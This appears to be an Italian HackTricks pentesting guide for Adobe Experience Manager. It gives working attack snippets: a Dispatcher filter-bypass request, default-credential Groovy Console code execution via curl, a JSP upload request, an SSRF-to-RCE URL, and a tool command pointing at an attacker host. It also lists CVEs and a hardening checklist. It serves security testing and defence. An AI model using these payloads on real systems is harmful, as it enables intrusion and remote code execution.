AEM (Adobe Experience Manager) Pentesting
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Adobe Experience Manager (AEM, parte di Adobe Experience Cloud) è un CMS aziendale che funziona su Apache Sling/Felix (OSGi) e un Java Content Repository (JCR). Dal punto di vista di un attaccante, le istanze AEM espongono molto spesso endpoint di sviluppo pericolosi, regole del Dispatcher deboli, credenziali predefinite e un lungo elenco di CVE che vengono corretti ogni trimestre.
La checklist qui sotto si concentra sulla superficie di attacco (unauth) raggiungibile esternamente che continua a presentarsi in impegni reali (2022-2025).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Altri indicatori rapidi:
/etc.clientlibs/percorso statico presente (restituisce JS/CSS)./libs/granite/core/content/login.htmlpagina di accesso con il banner “Adobe Experience Manager”.</script><!--/* CQ */-->commento in fondo all’HTML.
2. Endpoint non autenticati ad alto valore
| Percorso | Cosa ottieni | Note |
|---|---|---|
/.json, /.1.json | Nodi JCR tramite DefaultGetServlet | Spesso bloccato, ma Dispatcher bypass (vedi sotto) funziona. |
/bin/querybuilder.json?path=/ | API QueryBuilder | Leak dell’albero delle pagine, percorsi interni, nomi utente. |
/system/console/status-*, /system/console/bundles | Console OSGi/Felix | 403 per impostazione predefinita; se esposto e credenziali trovate ⇒ RCE di caricamento bundle. |
/crx/packmgr/index.jsp | Package Manager | Consente pacchetti di contenuto autenticati → caricamento di payload JSP. |
/etc/groovyconsole/** | AEM Groovy Console | Se esposto → esecuzione arbitraria di Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Log di audit | Divulgazione di informazioni. |
/libs/cq/ui/content/dumplibs.html | Dump ClientLibs | Vettore XSS. |
Trucco di bypass del Dispatcher
La maggior parte dei siti di produzione si trova dietro il Dispatcher (reverse-proxy). Le sue regole di filtro possono essere bypassate aggiungendo un’estensione statica consentita dopo un punto e virgola o una nuova riga codificata:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Una singola richiesta come sopra rivela frequentemente nodi del profilo utente con indirizzi email. P-T Partners ha pubblicato buone indicazioni su questa vulnerabilità. 【】
3. Configurazioni errate comuni (ancora attive nel 2025)
- Servlet POST anonimo –
POST /.jsoncon:operation=importconsente di piantare nuovi nodi JCR. Bloccare*.jsonPOST nel Dispatcher risolve il problema. 【】 - Profili utente leggibili da tutti – ACL predefinito concede
jcr:readsu/home/users/**/profile/*a tutti. - Credenziali predefinite –
admin:admin,author:author,replication:replication. - WCMDebugFilter abilitato ⇒ XSS riflesso tramite
?debug=layout(CVE-2016-7882, ancora trovato su installazioni legacy 6.4). - Groovy Console esposta – esecuzione di codice remoto inviando uno script Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. Vulnerabilità recenti (cadenza del service pack)
| Trimestre | CVE | Affetti | Impatto |
|---|---|---|---|
| Dic 2024 | CVE-2024-43711 | 6.5.21 e precedenti | Validazione dell’input non corretta → Esecuzione di codice arbitrario (richiede autenticazione a bassa privilegio). 【】 |
| Dic 2024 | CVE-2024-43724/26 | 6.5.21 e precedenti | DOM / XSS memorizzato in Move Page Wizard. 【】 |
| Dic 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS basato su DOM tramite URL creato. 【】 |
| Dic 2022 | CVE-2022-30683 | ≤ 6.5.13 | Difetto di design crittografico → decrittazione segreta (richiede credenziali a bassa privilegio). 【】 |
Controlla sempre il bollettino APSB corrispondente al service pack del cliente e richiedi l’ultima 6.5.22 o Cloud Service 2024.11.
5. Frammenti di sfruttamento
5.1 RCE tramite bypass del dispatcher + upload JSP
Se la scrittura anonima è possibile:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Richiedi /content/evil.jsp – il JSP viene eseguito con l’utente del processo AEM.
5.2 SSRF a RCE (storico < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py di aem-hacker automatizza l’intera catena. 【】
6. Strumenti
- aem-hacker – script di enumerazione tipo coltellino svizzero, supporta bypass del dispatcher, rilevamento SSRF, controlli delle credenziali predefinite e altro.
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Content Brute-force** – richiedi ricorsivamente `/_jcr_content.(json|html)` per scoprire componenti nascosti.
* **osgi-infect** – carica un bundle OSGi malevolo tramite `/system/console/bundles` se le credenziali sono disponibili.
---
## 7. Lista di controllo per il rafforzamento (per le raccomandazioni del tuo rapporto)
1. Mantieni l'istanza sulla **versione cumulativa di servizio più recente** (a partire da luglio 2025: 6.5.22).
2. Rimuovi ruota gli account predefiniti; applica SSO/SAML.
3. Rendi più rigorosi i **filtri del Dispatcher** – nega `;`, nuove righe codificate e `*.json` o `*.querybuilder.json` per utenti anonimi.
4. Disabilita o proteggi le console (`/system/console`, `/crx/*`, `/etc/groovyconsole`) con liste di autorizzazione IP.
5. Applica il pacchetto *Anonymous Permission Hardening* fornito da Adobe.
## Riferimenti
* Adobe Security Bulletin APSB24-69 – “Aggiornamenti di sicurezza per Adobe Experience Manager (dic 2024)”.
* 0ang3el – strumento aem-hacker (GitHub).
> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>
HackTricks

